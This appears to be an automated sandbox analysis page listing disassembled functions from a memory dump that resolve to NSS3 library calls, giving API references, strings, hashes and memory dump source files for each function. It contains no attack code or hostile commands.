API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+l
API String ID: 2538134263-555380133
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 524c1c10d27893b4c9d2178734215dca89ac28d9fe0f8bbb14688cc7dd76407e
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: A711EBB6B001046BDB009E64EC00A9B77F99B842BCF394138E81CD7790E772ED16C791

Function 6CF3CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CF3CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF3CC7B), ref: 6CF3CD7A
Part of subcall function 6CF3CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF3CD8E
Part of subcall function 6CF3CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF3CDA5
Part of subcall function 6CF3CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF3CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CF3CCB5
memcpy.VCRUNTIME140(6CFD14F4,6CFD02AC,00000090), ref: 6CF3CCD3
memcpy.VCRUNTIME140(6CFD1588,6CFD02AC,00000090), ref: 6CF3CD2B

Part of subcall function 6CE59AC0: socket.WSOCK32(?,00000017,6CE599BE), ref: 6CE59AE6
Part of subcall function 6CE59AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CE599BE), ref: 6CE59AFC

Part of subcall function 6CE60590: closesocket.WSOCK32(6CE59A8F,?,?,6CE59A8F,00000000), ref: 6CE60597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CF3CCB0

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: b1fc38cb9645d14cc7fdfe74edb756872c40e19809624f91bc3d6ce0db85f0eb
Instruction ID: 85ab427b989a6636dabeef197351f696560f3de5d717b3c2a5cf09c8fb59383b
Opcode Fuzzy Hash: b1fc38cb9645d14cc7fdfe74edb756872c40e19809624f91bc3d6ce0db85f0eb
Instruction Fuzzy Hash: 6B11B4F6F312505FDB809F7A9C067863AB89346328F145129E41A8BB41E776F4048BD5

Function 6CEA1CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CEA1CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CEA1CF1

Part of subcall function 6CF809D0: PR_Now.NSS3 ref: 6CF80A22
Part of subcall function 6CF809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF80A35
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF80A66
Part of subcall function 6CF809D0: PR_GetCurrentThread.NSS3 ref: 6CF80A70
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF80A9D
Part of subcall function 6CF809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF80AC8
Part of subcall function 6CF809D0: PR_vsmprintf.NSS3(?,?), ref: 6CF80AE8
Part of subcall function 6CF809D0: EnterCriticalSection.KERNEL32(?), ref: 6CF80B19
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF80B48
Part of subcall function 6CF809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF80C76
Part of subcall function 6CF809D0: PR_LogFlush.NSS3 ref: 6CF80C7E

Strings

pInitArgs = 0x%p, xrefs: 6CEA1CEC
C_Initialize, xrefs: 6CEA1CD3

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: b2383ef456ac38876711f5ac4c9f6bd79744c3f9514e383a0748d73779245a3a
Instruction ID: e1ddc55ccf560de222c5f52f856a1cf87d3075938ebd27b7b4fa19258ddb3039
Opcode Fuzzy Hash: b2383ef456ac38876711f5ac4c9f6bd79744c3f9514e383a0748d73779245a3a
Instruction Fuzzy Hash: 6C01D234A11180EFCB409BF4C80CB5573B5EBC231AF254029E80986B11DB75EC4AC791

Function 6CDFA8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6CF2A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CF4C3A2,?,?,00000000,00000000), ref: 6CF2A528
Part of subcall function 6CF2A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF2A6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDFA94F

Strings

database corruption, xrefs: 6CDFA943
%s at line %d of [%.10s], xrefs: 6CDFA948
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDFA939

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: cbb493ee6061c1bfbd74d1481ee602fc5375671edef7263c3163f8bebdc4e05b
Instruction ID: 8748871954003f68a5cbcc5d47364a676ab95b00a81efa8a24a187aa32099532
Opcode Fuzzy Hash: cbb493ee6061c1bfbd74d1481ee602fc5375671edef7263c3163f8bebdc4e05b
Instruction Fuzzy Hash: C301F931F00208ABD7108BAADC11B9BB7F9AF44308F864939E95D5BA50D771ED0A8791

Function 6CE07F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CE081DF
LeaveCriticalSection.KERNEL32(?), ref: 6CE08239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE08255
sqlite3_free.NSS3(00000000), ref: 6CE08260

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 824cdbd66b6b8aee9db1ee42fe815e8505882b214194b9adb16f3afd2de5b29f
Instruction ID: cf197f104b3bcdd3644bd961fbee872ef6978e7ff48641072e0c8bbbc5b7f856
Opcode Fuzzy Hash: 824cdbd66b6b8aee9db1ee42fe815e8505882b214194b9adb16f3afd2de5b29f
Instruction Fuzzy Hash: 9691AC71F51248CBEB08DFE0D8497AEBBB1BF06308F24412AD41A9B754DB396965CBC1

Function 6CEE1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEE1D8F

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEE1DA6

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CEE1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEE1ED0

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: dbacd46aa9c51960394bdf870e551b64e8d340f85687151d4e6b06882fb21ca1
Instruction ID: 87e245bdea296b89ee3dc3155cf9b2c1035d63354ae198924be23949b61e1ed6
Opcode Fuzzy Hash: dbacd46aa9c51960394bdf870e551b64e8d340f85687151d4e6b06882fb21ca1
Instruction Fuzzy Hash: 0C514A75A00309DFDB14CFD8C884BAEB7B6BF49358F244129E8199B761D731E985CB90

Function 6CF34FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CE185D2,00000000,?,?), ref: 6CF34FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF3500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF350C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF350D6

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 21990931ea3e8ff08725850dcdbe59d8c9bc28ad2a3728688f0815090b1f861c
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: FD417DB6A402118BCB18CF18DCD179AB7E1BF8431871D4669D84ACBB02E379E891CBC1

Function 6CE5FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CE5FDFE), ref: 6CE5FFAD

Part of subcall function 6CDFCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE5F9C9,?,6CE5F4DA,6CE5F9C9,?,?,6CE2369A), ref: 6CDFCA7A
Part of subcall function 6CDFCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDFCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CE5FDFE), ref: 6CE5FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CE5FDFE), ref: 6CE6001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CE5FDFE), ref: 6CE6006F

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: c5e5704975a543a5d8d658889eb67d4291d890513c5ee2c3eaa7ddd7c258a40d
Instruction ID: c2e4c65f393b1a2ab90dabc37126a67b25543b5ee75baecb162d47135177274d
Opcode Fuzzy Hash: c5e5704975a543a5d8d658889eb67d4291d890513c5ee2c3eaa7ddd7c258a40d
Instruction Fuzzy Hash: D4411E71F602258BDB48DFA5D885BAF7B74FF46308F144429D80293B40DB39AA01CBE1

Function 6CF47DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF47E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF47EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF47EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CF47ED8

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: c65fd3ff9bc3c22166804fe53a99b0b9293fcd2cc5184aad1dbd5a6b7b775c6d
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 9B3197B2A011118FD704CF09D8909DABBE2FF8831871B866AD8595BB52EB71EC45CBD1

Function 6CE76C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE76C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE76CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CE76CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CF98FE0), ref: 6CE76CFE

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: ad38694bca100dbe55230a4c05729146ccd6d4759b1c70d2b0ada034bece4dba
Instruction ID: d7c075e9d6e3bd854516e46c7fa3976d391805f7fa3377483077ad8563af2050
Opcode Fuzzy Hash: ad38694bca100dbe55230a4c05729146ccd6d4759b1c70d2b0ada034bece4dba
Instruction Fuzzy Hash: B031A1B1A002169FEB18DFA5C881ABFBBF9EF4524CF20442DD905D7710EB319906CBA0

Function 6CF84F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CF84F5D
free.MOZGLUE(?), ref: 6CF84F74
free.MOZGLUE(?), ref: 6CF84F82
GetLastError.KERNEL32 ref: 6CF84F90

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: bfd79d2cd3086042abb2ffd43e2d6cb1d6008492261337a4a44e1ae0c8c878d2
Instruction ID: 6c1f055bcacf877fe1fca3b1043ec3234bc4811f2763a97263205d2ca84296d9
Opcode Fuzzy Hash: bfd79d2cd3086042abb2ffd43e2d6cb1d6008492261337a4a44e1ae0c8c878d2
Instruction Fuzzy Hash: 4D3148B5B012194BEB01CB69DC91BDFBBBCFF45348F050229EC25A7780DB34A90586A1

Function 6CEE6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CEE6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE6E57

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CEE6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CEE6EAA

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 4dc0ffb94d9cd808dc87e1463963c824ed6f7a7587212b6ad335b16b820f14fb
Instruction ID: 6b77f3d17775417e151015e9ee8cc39ef0f7fac71f916ec573bc0248bacb8a32
Opcode Fuzzy Hash: 4dc0ffb94d9cd808dc87e1463963c824ed6f7a7587212b6ad335b16b820f14fb
Instruction Fuzzy Hash: 9331B47161055AEBDB141E34D804396B7B8AB0939EF30063DD65AD6BE1EB30B654CB81

Function 6CECDDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CECDDB1,?,00000000), ref: 6CECDDF4

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CECDDB1,?,00000000), ref: 6CECDE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CECDDB1,?,00000000), ref: 6CECDE17

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CECDE80

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 4f383e5d7958483bb8acdb7d87dabb8249814584f638f642cbf05f854d08ccca
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 8D31A4B5E417429FE700CF56C980656B7B4BFA531CB34822ED82987B01E772F5A5CB82

Function 6CEBFE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CE95ADC,?,00000000,00000001,?,?,00000000,?,6CE8BA55,?,?), ref: 6CEBFE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEBFE5F
PR_Unlock.NSS3(78831D74), ref: 6CEBFEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CEBFED6

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: b0ad1cdb5c9d13fd3c897bcc7ec72f1e7adf401449a00de49cc34845a9f67424
Instruction ID: 96f87888f550a0189447acadc8df10a9ba2056946521703892eca3a11cab34ea
Opcode Fuzzy Hash: b0ad1cdb5c9d13fd3c897bcc7ec72f1e7adf401449a00de49cc34845a9f67424
Instruction Fuzzy Hash: 7021E139E00625ABDB409A24D9447BA7774BF0536CF240124ED0567F42E738A964CBD0

Function 6CEC3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CEC3440: PK11_GetAllTokens.NSS3 ref: 6CEC3481
Part of subcall function 6CEC3440: PR_SetError.NSS3(00000000,00000000), ref: 6CEC34A3
Part of subcall function 6CEC3440: TlsGetValue.KERNEL32 ref: 6CEC352E
